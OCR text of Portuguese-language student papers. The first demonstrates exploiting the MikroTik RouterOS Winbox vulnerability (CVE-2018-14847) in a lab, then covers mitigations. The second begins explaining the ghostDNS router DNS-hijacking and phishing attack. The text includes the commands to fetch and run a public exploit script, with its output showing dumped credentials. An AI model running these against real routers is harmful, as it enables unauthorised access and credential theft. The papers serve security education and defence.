Para explorar essa vulnerabilidade, foi utilizado o sistema
operacional Kali-linux, que ¢ uma distribui¢do Linux baseada no sistema
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operacional Debian, que visa testes avancados de penetracdo e auditoria
de seguranca. O Kali contém centenas de ferramentas voltadas para varias
tarefas de seguranca da informagéo, como teste de penetracdo, pesquisa
de seguranga, computagdo forense e engenharia reversa.

Foram aplicados em uma maquina virtual os testes realizados
pelo Kali-linux, como o autor da explorago, com objetivo de analisar e
aplicar a vulnerbilidade contida nos sistemas RouterOS.

Simulando um ataque convencional para identificar quais os
hosts disponiveis na rede, foi realizada uma varredura de rede com a
ferramenta nmap. Como resultado da varredura, foi encontrado o host de
IP 192.168.6.2 discriminado como equipamento RouterBoard, podendo
ser um equipamento vulneravel.

Na sequéncia, foi realizado a instalagdo da ferramenta de
exploracdo da vulnerabilidade por meio do comando “git clone
https://github.com/BasuCert/WinboxPoC.git” para realizar o download
dos scripts para exploragdo da vulnerabilidade.

Tendo reunido estas informagdes, foi utilizado a ferramenta que
¢ um script escrito na linguagem python. Sua utilizacdo ¢ feita com o
comando “python3Winbox-Exploit.py 192.168.6.2”, e como resultado,
sem a necessidade de autenticacdo, o sitema responde ao atacante uma
lista contendo os registros dos usudrios e senhas de um sistema RouterOS.

A utilizagdo do script faz com que o usudrio remoto ignore a
autenticacdo e leia os arquivos arbitrarios, modificando uma solicitacao
para alterar um byte relacionado a uma /D da sessfo, desta forma
conseguindo informagdes dos usudrios e senhas disponiveis no sistemas
RouterOS.
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Figura 2 - Fluxograma da comunicagao realizada.

ATACANTE SISTEMA
OK, AQUIESTA \
UM ID DA SESSAO \
E O TAMANHO \
0 ARQUIVO TOTAL \

&

EU PRECISO
SABER DA
INFORMACAQ X
NA SESSAQY

AS INFORMACOES
(USUARIOS E SENHAS)
SAO ESSAS:

\.
&

Fonte: Elaborado pelos autores, 2019.

5 RESULTADOS E DISCUSSOES

Para atingir o objetivo na coleta dos usuérios e senhas, foram utilizados
no ambiente virtual o servi¢o de scanner, por meio do qual foi possivel
realizar a busca de dispositivos ativos na rede, e suas respectivas portas
de acessos. Ao executar o servico no ambiente virtual, foi encontrado o
IP ativo correspondente ao alvo, a Routerboard, como pode ser observado

na figura 3, com as suas respectivas portas e servigos disponiveis para
acesso.
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Figura 3 - Nmap identificando host ativos na rede.

Starting Nmap 7.80 ( https: //nmap org ) at 2019-12-03 10:03 —03
Nmap scan report for 192.168.6.2

Host is up (©.0015s latency).

Mot shown: 994 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

2000/tcp open cisco-sccp

8080/tcp open http-proxy

8291/tcp open unknown

MAC Address: D4:CA:6D:A7:76:52 (Routerboard.com)

Nmap scan report for 192.168.6.199
Host is up (©.00015s latency).

Mot shown: 998 filtered ports

PORT STATE SERVICE

5357/tcp open wsdapi

7070/tcp open realserver

MAC Address: 78:2B:CB:BF:50:Al1 (Dell)

Nmap scan report for 192.168.6.200
Host is up (0.000011ls latency).
11 1000 scanned ports on 192.168.6.200 are closed

Nmap done: 256 IP addresses (3 hosts up) scanned in 32.86 seconds
root@kali:~/Area de trabalho/Mikrotik-cve-2018-14847# l

Fonte: Elaborado pelos autores, 2019.

A captura de usudrio e senhas em um sistema RouterOS tornou-
se possivel através da utilizagdo de um script, em conjunto com o sistema
operacional kali linux, instalado na maquina virtual, como demonstrado
na figura 4, ilustrando a saida do comando, que contém os meios
necessarios para estar autenticado no sistema e se apoderando dos
recursos administrativos nos seus diferentes niveis disponiveis no sistema
(acesso de leitura, escrita ou modificacao).
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Figura 4 - Saida do script informando usuarios do sistema.

root@kali:~/Area de trabalho/Mikrotik-cve-2018-14847# python3 WinboxExploit.py 192.168.6.2
Connected to 192.168.6.2:8291
Exploit successful
User: tcc-nathan

Pass: TcC@2019!!%*+&@!!

User: teste
Pass: teste

Iroot@kali:~/Area de trabalho/Mikrotik-cve-2018-14847# python3 MACServerExploit.py d4:ca:6d:a7:76:52
User: tcc-nathan
Pass: TcC@2019!!%*&@!!

User: teste
Pass: teste

root@kali:~/Area de trabalho/Mikrotik-cve-2018-14847# I

Fonte: Elaborado pelos autores, 2019

Logo apds a execugdo do script (demonstrado na figura 3),
tornou-se possivel listar os usuarios realmente disponiveis no sistema, que
ao acessarem a se¢do system > users confirmam os utilizadores
permitidos no sistema informado na saida do script, como esta exibido na
figura 5. Dessa forma, confirmou-se a exploracdo de tal vulnerabilidade
sobre o sistema RouterOS.

Figura 5 - Usuérios do sistema.

@ teste@192.168.6.2 (alva) - WinBox v6.36 on RE730 (mipshe)
Session  Settings Dashboard

Iml Session:

Asr Quick Set
1 CAPsMAN Users |Gmup5 S55H Keys S5H Private Keys = Active Users
M kieizes ][] A
L Wireless |Name ¢ |Group  [Allowed Address |Last Logged In |
SfBidge [ & tccnathan Ful

& teste full Nov/25/2019 17:33:20
=g PPP

Fonte: Elaborado pelos autores, 2019.

Para realizar a captura das informagdes sobre a vulnerabilidade
explorada, foi criado um Jlog, para que os registros ficassem armazenados
para verificagdo. Para criagdo desta regra, deve-se acessar, no menu
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lateral, o campo /P, em seguida, acessar a op¢ao Firewall e adicionar uma
nova regra com o botdo “+”, como esta representado na figura 6.

Figura 6 - Criando logs

© teste@192.168.6.2 (alve) - WinBox v6.36 on RB750 (mipsbe)
Session Settings Dashboard

|| 04| | Safe Mode

A Quick Set
1 CAPsMAN
8 Interfaces
3 Wirsless
S5 Bidge
=3 PPP

== Swich
©1§ Mesh
F14

< MPLS
4 Routing
23 System
& Queues
7] Files

Ll Log

A Radus
R Tools

Bl News Tarminal

I

Fiter Rules | NAT  Mangle

# Action
0 Cilog

ARP
Accounting
Addresses
Cloud

DHCP Client
DHCP Relay
DHCP Server
ONS

Firewall

T

Session:|192.168.6.2

Firewall

Raw Service Pots  Connections  Address Lists  Layer7 Protocols

| T Reset Counters || 00 Reset Al Counters
Chain Src. Address [Dst. Address |Proto...|Src. Pot | Dst. Port [In. Iter...[Out. Int...|Bytes Packets
input 192.1686. 144 KB 200

Fonte: Elaborado pelos autores, 2019.

Para obtengdo dos logs para fim de registro, deve-se alterar a
primeira op¢ao que foi criada, onde foi selecionado a chain como input.
Neste exemplo, foi configurado para capturar os log somente de um
enderecgo IP especifico, como demonstrado na figura 7.
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Session  Settings

Dashboard

82

Figura 7 - Criando regras do firewall.

Safe Mode | Session:[192.168.6.2

A& Quick Set

T CAPsMAN
| Interfaces

I Wireless

34 Bridge

=2 PPP

%= Switch

15 Mesh

L= 1P

77 MPLS

#% Routing

5 System

& Queues

] Files

L.l Leg

S Radius

2 Tools

|l New Teminal
¥4 MetaROUTER
#% Partition

|21 Make Supout rif
& Manual

@ New WinBaox

B et

v v v v

Firewall Rule

General | Advanced Extra | Action Statistics

Chain

Src. Address: [1[192.168.6.200

Dst. Address. |

Protocol - |

Src. Port |

Dst. Port: [

Any. Port |

P2P. |

InInterface |

Qut. Imterface |

In. Interface List |

Out. Interface List: |

Packet Mark: |

Connection Mark: |

Routing Mark - |

Routing Table |

Connection Type |

Connection State |

Connection NAT State |

Fonte: Elaborado pelos autores, 2019.

Tendo as regras de firewall criadas no dispositivo, serd possivel
verificar sobre as tentativas e até mesmo a efetivacdo da propria

exploragdo desta vulnerabilidade,

onde estas

informagdes estdo

armazenadas e demonstradas no log do dispositivo, figura 8.
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Figura 8 - Logs do sistema.

o
A ey len

frewal, info input: in:ether2 out:{none), src-mac 08:00:27.29:¢1:9e. proto TCP (SYN), 192.168.6.200:41366->192.168.6.2.8291, len 60
frewall, info input: in'ether2 out-none), src-mac 08:00:27:a3:e1:5. proto TCP (ACK), 192.168.6.200:41366->192.168.6.2:8291, len 52

v
[
o s
e
e
[
[y
e
.
ks
[y
e
2
[y
[y
revd
e
[
S,

s [ frewal, info input: in:ether2 out-frone), src-mac 08:00:27:a9:¢1:9e. proto TCP (ACK PSH), 192.168.6.200:41366->192.168.6.2.8291, len 158
::“m Nov/25/2019 17:46:41 frewal, info input: in-ether2 out-none), srcmac 08:00:27:29:¢1:9e, proto TCP (ACK), 192.168.6.200:41366->192.168.6.2:8291, len 52
MY Nov/25/2019 17:46:41 input: in‘ether2 out {none), sremac 08:00:27:29:¢1:9, proto TCP (ACK.PSH), 152.168.6.200:41366->192.168.6.2:8291,len 113
{ Nov/25/2019 17:46:41 input: in‘ether2 out-none), sremac 08:00:27:a9:¢1:9e, proto TCP (ACK FIN), 192.168.6.200:41366->192.168.6.2:8291, len 52
Nov/25/2019 17:46:41 input: in:ether2 out-frone), src-mac 08:00:27:a9r¢1:9e. proto TCP (ACK), 192.168.6.200:41366->192.168.6.2:6291, len 52

01
192584 0TS 12 442104, e
2 562851 b0 3

Fonte: Elaborado pelos autores, 2019.

Umas das formas para realizar o bloqueio desses tipos de
vulnerabilidade seria a criagdo de regras para permitir acesso de
determinadas redes, onde poderiam ser definidas pelo proprio usuario,
levando em considerag@o quais redes de confianca ele permitird acessar o
sistema, como esta representado na figura 9.
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© teste@DA:CAGD:AT76:52 (alvo) - WinBox v6.36 on RB750 (mipsbe)

Session Settings Dashboard

Figura 9 - Permitindo redes conhecidas.

84

Safe Mode | Session:[D4CASDAT76:52

& Quick Set
I CAPSMAN
8 Interfaces

)
g
=3
5
3
- = =] =

& System
& Queves

[ Files

| Leg

L Radius

S Tooks I
@8] New Temninal
[F4 MetaROUTER
@5 Partiion

| Make Supout.if
& Manual

@ New WinBox

B e

vl [T

[Mame o |Port

Certificate

X 9api
X @ apisd
X ofip

21
22

|Available From
5728

none

e TETT
8291 192.168.6.50
e ——

Accounting
Addresses
Cloud

DHCP Client
DHCP Relay
DHCP Server
DNS
Firewal
Hotspot
IPsec
Neighbors
Packing
Pool

Routes

SMB

SNMP

nane

MName: |winbax

Port: [6251

Cancel

Avalable From: [192.168.6 50/32 |+
_—

Apply

enabled

Services

Settings
Socks
TFTP
Traffic: Flow
UPnP
Web Proxy

Fonte: Elaborado pelos autores, 2019.

Uma outra forma de evitar a exposi¢do a esse tipo de
vulnerabilidade ¢é desabilitar o servico MAC Server, onde este servigo
também permite a conexao ao sistema apenas por MAC. Caso o atacante
rode o script com destino ao MAC da maquina, também tera éxito. Segue
configuragdo exibida na figura 10.
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Figura 10 - Desabilitando mac server para o servico winbox.

@ teste@192.168.6.2 (alva) - WinBox v6.36 on RE750 (mipsbe)
Session Settings Dashboard

\M‘ Session:|192.168.6.2)

As Quick Set
1 CAPsMAN
| Interfaces
L Wireless
%g Bridge
=g FPP

== Switch
%12 Mesh

WinBox Interfaces

Telnet Interfaces Active Sessions

s P

&’ MFLS
22 Routing
w57 System
Q Queues
[ Files
=] Log
L Radius
}é Tools "N BTest Server
=] New Teminal Bandwidth Test
P4 MetaROUTER Email

#2 Parition Flood Ping

| 4 Make Supout if Graphing

& Manual IP Scan

& New WinBox I MAL Server

B Fuit Nlaturskek

- 7 7 7

Fonte: Elaborado pelos autores, 2019.

E por fim, como pratica mais recomendada, realizar a
atualizacgdo periddica do sistema, corrigindo a vulnerabilidade e evitando
a exposicdo a falhas futuras do sistemas RouterOS, como se pode
perceber na figura 11
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Figura 11 - Realizando a atualizag¢@o do sistema.

© teste@DA:CAEDATTEST (alvo) - WinBox v6.36 on RB750 (mipsbe)
Session Settings Dashboard

&> |4 | Safe Mode Session:| D4.CA:6D:A7:76:51

A5 Quick Set Check For Updates =B
|

1 Interfaces Name Versior

I Wireless S roucrosmipsbe 635 | Installed Version: (6.3 Download

# Bridge g::::nced-t" gi Latest Version: |6.46 r Downloaddinstall

=3 PPP Bhotspat 636 -

= Swich Bovs e What's new in 6.46 (2019 Dec-02 11:16);

12 Mesh Bu:u 238 [|/MAJOR CHANGES IN v6 46

Srauting 6.38 1111 lora - added support for LoRaWAN low-power wide-area network technology for

s
] 5 S security 6.36 | MMIPSBE. MMIPS and ARM:
.’ MPLS Ssystem 6.36 |JlIn package - accept only packages with onginal filenames (CVE-2019-3976);
[
v

® Rowtin Bwirelesscm? 636 ') package - improved package signature verfication (CVE-2013-3977):
¥ 1) security - fixed improper handiing of DNS responses (CVE-2015-3978, CVE-2019-3979);
i35 System | Auto Upgrade
& Queues Certfficates Changes in this release:
[ Fles Clock ") backup - fixed automatic backup file generation when configuration reset by button;
Log Console L| |} backup - store automatically created backup file in ‘flash” drectory:
L ") bonding - comectly remove HW offloaded bonding with ARP monitoring:
;@- Radius Disks “) bending - propery handle MAC addresses when bonding WLAN interfaces;
€ Tool s ) bridge - disable./2nable bridge port when setting bpdu-guard:
)ﬁ ools Drivers ") bridge - do not add bridge as untagged VLAN member when frame-types=admit-only-
B MNew Terminal History vlantagged;
*) bridge - do not add dynamically VAN entry when changing "pvid" property for non-vian
=4 MetaROUTER Identity aware bridge:
P - “) bridge - include whole VLAN-d in DHCP Option 82 message:;
% Partion LEDs ) btest - removed duplicate “duration” parameter;
[0 Make Spoutrd. | License ) capsman -fixed background scan showing incomect regulatory domain mismatch emor

& Manual Logging New version is available I

@ New WinBox Packages
Exit Password

Fonte: Elaborado pelos autores, 2019.

6 CONSIDERACOES FINAIS

Com o crescimento da internet, a difusdo de pequenos e médios
provedores que utilizam produtos da Mikrotik junto com seus sistemas
RouterOS, com um grande nimero de equipamentos e de clientes
utilizando os mesmos, torna-se extremamente necessario realizar a
atualizagdo do sistema. Mesmo com a disponibilidade oferecida pela
empresa, muitos usudrios ainda ndo tem seus devidos sistemas atualizados,
tendo, assim um brecha para estar utilizando desta vulnerabilidade, o que
pode prejudicar a propria conexdo, obtendo dados sigilosos dos usuarios,
podendo estar de forma massiva disponibilizando enderecos de DNS
falsos, com intuito de roubar dados sigilosos de clientes, ou até mesmo
estar levando o usuario para paginas falsas na WEB.

Dessa forma, considera-se que o trabalho teve éxito em sua
execucao ao analisar o sistema vulneravel e, com o ataque bem sucedido,
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obteve-se o acesso do sistema RouterOS alvo, entdo, a partir deste
momento. recebeu a permissdo para realizar inumeras alteragdes que
foram satisfatorias ao atacante.
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Abstract. The purpose of this paper is to present the vulnerability of a
router susceptible to ghostDNS malware. The access to the router is
performed by injecting malicious code via web browser through a script,
which performs login attempts with standard username and password.
When accessing an infected web page, the script runs automatically. As
a result it can be seen that the attack was successful by redirecting the
user's DNS requests to the fake pages, allowing data to be obtained
through phishing. To solve this problem, effective measures include
changing the router password, browser update, and periodic testing
using tools such as nslookup and checking router settings.

Resumo. O objetivo deste trabalho é apresentar a vulnerabilidade de um
roteador suscetivel ao malware ghostDNS. O acesso ao roteador é
realizado adicionando codigos maliciosos via navegador web, por meio
de um script, que executa tentativas de login com usudrio e senha padrdo,
de forma que ao acessar uma pagina Web infectada, o script é executado
automaticamente. Como resultado, pode-se observar que o ataque foi
bem sucedido, redirecionando as requisi¢ées DNS do usudrio para as
paginas falsas, permitindo a obten¢do de dados por meio de phishing.
Para solucionar este problema, como principais medidas efetivas estdo
a altera¢do da senha do roteador, atualiza¢do do navegador e testes
periodicos utilizando ferramentas como o nslookup e verificagdo das
configuragoes do roteador.
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1. INTRODUCAO

A Internet é utilizada para multiplos fins, desde realizar operagdes
comerciais, buscar conhecimentos, diversdo ou até a pratica de crimes
cibernéticos, como afirmam Wendet e Jorge (2013). Os crimes
cibernéticos sdo aperfeigoados com o passar do tempo, um exemplo é o
ghostDNS, descoberto pela empresa Netlab 360, especializada em
ciberseguranca.

O ghostDNS é um malware *que é executado diretamente de
uma pagina Web infectada, quando o usuario acessa esta pagina so
executados scripts'? que modificam a configuragdo no CPE*® (Customer
Premises Equipment), alterando o endereco IP (Internet Protocol) do
servidor DNS (Sistema de Nomes de Dominio, do inglés: Domain Name
System) para o endereco IP do rogueDNS. O servidor rogueDNS é um
servidor DNS destinado ao direcionamento de usudrios para Websites
destinados a pratica phishing', logo, o servidor rogueDNS redirecionara
0 usuario para uma pagina falsa, onde ocorre a coleta de dados
confidenciais, sem a necessidade de o usudrio baixar ou instalar algum
programa no computador (FBL.GOV, 2019).

Assim, considerando o impacto que pode ser causado pelo
malware ghostDNS, o objetivo deste trabalho ¢ apresentar como funciona
este ataque e realizar uma prova de conceito de seu funcionamento,
criando um ambiente de ataque com o servidor rogueDNS e o servidor

11 Malware sdo c6digos, programas ou softwares maliciosos destinado a se
infiltrar em um computador de forma ilicita (REGAN, 2019).

12 Scripts sdo sequéncias de instrugdes/codigos programados para serem
executados por um computador (DUARTE, 2013).

13 CPE ¢ uma forma genérica de chamar o equipamento instalado no cliente,
que pode ser um roteador, um modem ou um Access Point (STANDARD,
1996).

14 Phishing ¢ uma técnica que cibercriminosos utilizam para enganar o
usuario a inserir informagdes pessoais em websites falso ou nos links enviado
por e-mail (CERT.BR, 2012).
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Web com paginas de phishing de institui¢do bancaria. Além de realizar os
testes de invasdo no roteador, verificando as etapas executadas pelo
malware ghostDNS.

Para a realizagdo deste trabalho, as seguintes etapas foram
executadas: revisao de literatura, apresentagdo dos materiais utilizados na
montagem dos servidores, a metodologia aplicada para os testes e os
resultados obtidos com os testes realizados no roteador, sendo seguida
pelas consideracdes finais.

2. REVISAO DA LITERATURA

Nesta secdo realizou-se uma revisdo bibliografica para
embasamento dos topicos abordados neste trabalho, apresentando uma
breve descricdo do funcionamento da Internet e o seu respectivo
crescimento, os tipos de crimes virtuais, paginas Web criadas para a
técnica de phishing, o funcionamento do sistema DNS, como identificar
um servidor DNS malicioso configurado no roteador e o método de
ataque com phishing utilizando servidores DNS.

2.1 AINTERNET E SEU CRESCIMENTO

A Internet, como citam Morais, Lima e Franco (2012), é considerada um
vasto conjunto de redes de computadores interligados utilizando
protocolos para a comunicagdo com uma gama de servigos comuns. Até
a década de 1990 a Internet era utilizada por pesquisadores, pelo governo
e pela industria, mas com o advento de uma nova aplicagdo denominada
WWW (World Wide Web) e com a criagdo do primeiro navegador, tornou-
se possivel a configuragdo de paginas Web disponibilizando textos,
figuras, sons ou até mesmo videos para o acesso on-line, dando inicio ao
uso difundido da Internet (TANENBAUM, 2003).

Vieira (2003) destaca que a Internet teve inicio no Brasil
aproximadamente em 1988 e seu uso era destinado a algumas
universidades federais para fins cientificos. Seu uso definitivo para fins
comerciais teve inicio em 1995, com o surgimento de um nimero
significativo de lojas virtuais, permitindo o inicio das transagdes on-line
e sendo desenvolvidas paginas com conteudo de leitura on-line.

O acesso a Internet em 1998 era utilizado apenas por uma
pequena por¢do da populacdo brasileira. Wilson (2000) estima que o
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numero de usuérios que tinham acesso a Internet correspondia a 1,5% da
populagdo brasileira, em média de 5 a 6 milhdes de usudrios brasileiros
conectados a rede.

Com a sua difusdo, o numero de acesso a Internet alcangou o
indice de 70% da populagdo brasileira no ano de 2018, equivalente a
126,9 milhdes de usudrios estiveram conectados, conforme a pesquisa
realizada com os brasileiros pela TIC Domicilios em 2018 (TIC
DOMICILIOS, 2018).

2.2 CRIMES VIRTUAIS

Com o acréscimo consideravel de usuarios acessando a Internet, os crimes
virtuais, executados por meio da rede, também se expandiram. Os
cibercriminosos utilizam-se de diversas técnicas para atacar
computadores e dispositivos conectados a rede e obter dados de usuérios,
acesso contas bancarias ou para implementar anuncios de produtos e
servigos no computador da vitima (SYMANTEC, 2019).

Henrique et al. (2017) caracteriza os crimes virtuais como
infracdes penais realizadas pelo autor com a utilizagdo de recursos
tecnologicos para a pratica do delito.

2.3 TIPOS DE ATAQUES CIBERNETICOS

De acordo com Cert.br (2012), os ataques cibernéticos sdo
motivados por:

® Demonstragdo de poder: com o objetivo de mostrar as empresas
suas vulnerabilidades, no intuito de vender servicos ou realizar
chantagens para que ndo ocorra novamente;

® Prestigio: o atacante busca a gldria por conseguir invadir, tornar
servigos inacessiveis, desconfigurar sites, computadores ou
servidores considerados visados e de dificil acesso;

® Motivacdes financeiras: utilizar de técnicas para a coleta de
informag¢des confidenciais de usuarios para aplicar golpes;
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® Motivagdes ideoldgicas: tem como objetivo tornar inacessivel os
sites que contenham opinido contraria a do atacante;

® Motivagdes comerciais: busca comprometer sites ou
computadores de empresas concorrentes, dificultando ou
comprometendo o acesso de clientes, corrompendo a reputagio
da empresa.

As fraudes financeiras na Internet sdo motivadas pela crescente
popularidade do acesso aos servigos de bancos on-line e comércio
eletronico, tornando-se comum a pratica no meio cibercriminoso.
Kaspersky (2019) afirma que os ataques comumente utilizados sdo a
exploracdo de vulnerabilidades, a varredura de redes, falsificagdo de e-
mails, ataque de for¢a bruta e a falsificacdo de sites, este ultimo
trabalhando em conjunto com a falsificagdo de e-mails para a pratica de
phishing.

2.3.1 Phishing

A palavra phishing vem do termo em inglés fishing (pescaria), referindo-
se ao fato de ndo ter, necessariamente, um destinatario especifico. Este
ataque utiliza de engenharia social*® para obten¢do de informagdes
pessoais das vitimas, como nome de usuario, nimero de contas bancarias,
niamero de cartdes de créditos e suas respectivas senhas (PEREIRA,
2016).

Com a finalidade de realizar fraudes por meio da Internet, o
ataque de phishing consiste em enviar e-mails falsos aleatoriamente
esperando que alguém o receba, por isto é assemelhado a uma “pescaria”.
Os e-mails sdo enviados com aparéncia semelhante de empresas, bancos
e servigos de atendimento ao consumidor, no intuito de fazer com que o
usuario clique nos hyperlinks '® inseridos no corpo da mensagem,

15 Engenharia social consiste em utilizar dados confidenciais através da
persuasao(CIPOLI, 2019).
16 Hyperlinks sdo referéncias dentro de um documento ou e-mails,
com o objetivo de redirecionar o usuario a uma pagina da Internet, ou baixar
arquivos anexados ao link (DEVELOPER.MOZILLA.ORG, 2019).
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proporcionando a instalagdo ou execugdo de malwares ou o
redirecionamento para sites falsos (BROAD; BINDNER, 2014).

2.4 SISTEMA DE NOME DE DOMINIOS - DNS

O DNS ¢ considerado um banco de dados distribuidos, que armazena os
dados dos dominios e subdominios de uma determinada organizagdo. Ele
¢ estruturado localmente para o gerenciamento de segmentos do banco de
dados global, sendo que as organizagdes sao as responsaveis por manter
os dados do seu proprio dominio atualizado (FURTADO, 2016).

O principio basico de funcionamento do servidor DNS ¢ traduzir
nomes de dominio em enderecos IP. Sem a existéncia deste sistema, para
0 usudrio acessar uma pagina web, seria necessario inserir o endereco IP
no navegador Web, tornando-se uma tarefa dificil, pela quantidade de
sites existente e a complexidade de memorizar todos os IPs
(MOCKAPETRIS, 1987).

Por exemplo, para um usudrio acessar o site do Banco do Brasil,
precisa apenas digitar no navegador o endereco “www.bb.com.br”, o
servidor DNS fica encarregado de traduzi-lo para o enderego IP
correspondente, retornando a solicitagdo ao usuario que originou a
consulta (FURTADO, 2016).

2.4.1 Servidor DNS autoritativo e recursivo

Os servidores DNS sdo divididos em dois, sendo servidor DNS
autoritativo e servidor DNS recursivo. Hoepers (2009) caracteriza o
servidor DNS autoritativo como um servidor que contém as informacgdes
de um dominio. Liska e Stowe (2016) citam que a estrutura do servidor
DNS ¢ disposta em 13 servidores, denominados servidores root (root
servers) espalhados pelo mundo. Os autores comparam a estrutura de
distribui¢do dos servidores como a raiz de uma arvore na parte superior e
as ramificagdes na parte inferior, conforme apresentado na Figura 1.
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Figura 1 - Arquitetura dos servidores DNS.
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Fonte: Elaborado pelos autores, 2019.

O primeiro servidor DNS ¢ o servidor root, abaixo dele iniciam
os servidores TLD (Top Level Domain, servidores de nivel superior), que
sdo divididos em servidores ccTLD(Country Code Top Level Domain,
codigo de paises dos servidores de nivel superior), responsaveis pelos
dominios dos paises, como “.BR”, “.AR”, “.FR” entre outros, ¢ 0s
servidores gTLD (Generic Top Level Domain, servidores de nivel
superior genérico), compondo os servidores que ficam responsaveis pelos
dominios genéricos caracterizados como “.EDU”, “.COM”, “.ORG”
entre tantos outros (FURTADO, 2016).

Abaixo dos servidores TLD, encontram-se os servidores DNS de
dominio, caracterizados por manter os dominios de organizagdes,
empresas, pessoas fisicas ou qualquer um que esteja interessado em
manter um dominio, por exemplo, o “BB” ¢ um dominio mantido pelo
Banco do Brasil S.A.

Por tultimo, sdo mantidos os servidores de subdominio, que sdo
ramifica¢cdes do dominio principal, com a funcionalidade de enderecar
areas diferentes dentro do mesmo site, em que se pode acessar areas
especificas utilizando o mesmo dominio, por exemplo “www.bb.com.br”,
“ftp.bb.com.br” ou “email.bb.com.br” (FURTADO, 2016).
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O servidor DNS recursivo ¢ configurado em uma rede local ou
na rede de um provedor de servicos de Internet ISP (Internet Service
Provider). Porém, ele ndo tem conhecimento sobre os nomes de dominios
registrados, esta informagdo ¢é responsabilidade dos servidores DNS
autoritativos. As solicitagdes de enderegos na Internet requeridas pelos
usudrios sdo solicitadas ao servidor DNS recursivo, este, como nao tem
conhecimento dos enderecos solicitados pelo usuario, pergunta ao
servidor DNS autoritativo que realiza a consulta. Obtida a resposta, o
servidor DNS autoritativo retorna a solicitagdo para o servidor DNS
recursivo, que, por sua vez, em posse da resposta, retorna a mensagem ao
usuario que originou a solicitagdo (LISKA; STOWE, 2016).

A forma em que ocorre a consulta DNS aos servidores
autoritativos e recursivos pode ser verificada na Figura 2. Neste exemplo,
o usuario esta utilizando o servidor DNS recursivo do ISP. Quando ¢
solicitada uma pagina Web (ntimero 1), o servidor DNS recursivo verifica
se ele conhece o IP do dominio solicitado pelo usuario, se a resposta for
nao, o servidor DNS recursivo realizara a pergunta aos servidores DNS
autoritativos.

Figura 2 - Requisicdo de consulta DNS.
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Fonte: Elaborado pelos autores, 2019.

7

A primeira pergunta ¢ realizada ao servidor root (numero 2).
Como este s6 conhece os servidores TLD, ele informa para o servidor
DNS recursivo (nimero 3) realizar a perguntar aos servidores TLD.

=Il INSTITUTO FEDERAL

Catarinense



99

Sendo assim, o servidor DNS recursivo (nimero 4) pergunta ao
servidor TLD se ele conhece o site solicitado pelo usuario. O servidor
TLD (numero 5) responde que ndo conhece o site, mas sabe qual servidor
pode ter a resposta.

Entdo o servidor DNS recursivo (numero 6) perguntara ao
servidor de dominio autoritativo se ele conhece o site solicitado pelo
usuario, a resposta ¢ que sim, logo o servidor DNS autoritativo (nimero
7) retorna o enderego do site solicitado pelo usuario ao servidor DNS
recursivo.

Altima etapa do processo de consulta consiste no servidor DNS
recursivo (numero 8) retornar a requisicdo obtida para o usuario que a
originou.

2.5 ATAQUES AOS SERVIDORES DNS

Os ataques ao sistema DNS mais conhecidos sdo: o DNS spoofing
(falsificacdo de DNS), o envenenamento de cache e o ghostDNS. Botti e
Martins (2015) discorrem sobre DNS spoofing como uma técnica de
ataque ao servidor DNS que resulta em fornecer informagdes falsas de
DNS para um host*” em uma rede local, possibilitando a captura da
consulta realizada pelo cliente no intuito de direcionar a vitima para uma
pagina falsa da Internet, com isso o atacante consegue credenciais da
vitima. No entanto, ¢ um método ndo muito comum, sendo necessario o
acesso a rede local do alvo e utilizagdo de ferramentas como sniffers®® e
a falsificacdo de enderecos e respostas do servidor DNS.

Liska e Stowe (2016) citam diversas formas de realizar o
envenenamento de cache do servidor DNS e enfatizam que a mais
conhecida ¢ a utilizagdo do cavalo de Tréia denominado Win32.QHOST,

"Host ¢ designado como qualquer computador ou maquina conectada na rede
e que contenha um enderego IP (VIANA, 2012).

18Sniffer ¢ um software que monitora o trafego de pacotes em uma rede de
computadores (AVAST.COM, 2019).
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que é um tipo de malware que realiza modificagdes no arquivo fosts'®
dos sistemas operacionais para impossibilitar a atualizagdo do sistema e
de informar atividades suspeitas.

2.5.1 Ataque DNS direcionado aos CPEs

A empresa Netlab (2018) encontrou uma vulnerabilidade nos roteadores
domésticos que possibilita a troca do servidor DNS por meio de um
malware executado em uma pagina Web infectada.

Os pesquisadores conseguiram identificar o codigo malicioso
denominado de ghostDNS, sendo configurado para ser executado em
conjunto com outros trés modulos, o DNSchanger, o modulo phishing
Web e 0 modulo rogueDNS (MERCES, 2015).

O moddulo DNSchanger é considerado o médulo principal dentro
do ghostDNS. Quando um usuario acessa um site contaminado com o
malware, o médulo DNSchanger entra em execugdo realizando uma
varredura na rede local por meio do navegador da vitima. O DNSchanger
usa identificagOes padrdes definidas pelo fabricante dos CPEs e ao obter
sucesso nas tentativas de login no roteador, a configuragdo DNS ¢ alterada,
sendo modificado com o IP do servidor rogueDNS (MACIEL, 2018).

Os servidores rogueDNS sdo os responsaveis por responder as
requisi¢oes feitas pela vitima com o endereco das paginas de phishing. A
partir do momento em que o roteador foi infectado, todas as requisigdes
feitas pela vitima, passam pelo servidor rogueDNS. Caso a consulta seja
para sites bancarios que estejam configuradas no servidor rogueDNS, este
serdo direcionadas para paginas de phishing permitindo que seus dados
de login e senha sejam furtados pelos cibercriminosos (KHANDELWAL,
2018).

O ghostDNS se aproveita do ataque por meio do CSRF (Cross-
Site request Forgery, em portugués falsificacdo de solicitagdes entre sites)
e explora a relacdo de confianga da aplicacdo Web com o usuario,
utilizando um site mal-intencionado, sendo possivel por meio da tag

1 Hosts ¢ um arquivo que pode conter uma lista de nomes de dominios e
respectivos enderecos IPs, que sdo examinados antes de consultar o servidor
DNS (FURTADO, 2016).
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HTML? iframe®! inserir links ou scripts maliciosos enviando comandos
ndo autorizados a partir de um usudrio em que a aplicagdo Web confia
(ZELLER; FELTEN, 2008).

3. MATERIAIS E METODOS

Neste capitulo sdo descritos os procedimentos estabelecidos para a
elaboracdo e desenvolvimento deste trabalho, assim como sua
classificagdo.

3.1 CLASSIFICACAO DO TRABALHO

De acordo com Gil (2002, p. 17) uma pesquisa ¢ definida como,

“Procedimento racional e sistemdtico que tem como
objetivo proporcionar respostas aos problemas que
sdo propostos. A pesquisa é requerida quando ndo se
dispoe de informacdo suficiente para responder ao
problema, ou entdo quando a informagdo disponivel
se encontra em tal estado de desordem que ndo possa
ser adequadamente relacionada ao problema”.

Gil (2002) cita que as pesquisas sdo classificadas quanto aos seus
aspectos: natureza, abordagem, objetivos e procedimentos, podendo ser
observado no Quadro 1 a metodologia utilizada neste trabalho.

2 HTML ¢ uma linguagem de marcagio utilizada para a construgdo de sites
(SILVA, 2006).

2 Iframe é um codigo HTML que possibilita que uma pagina web seja
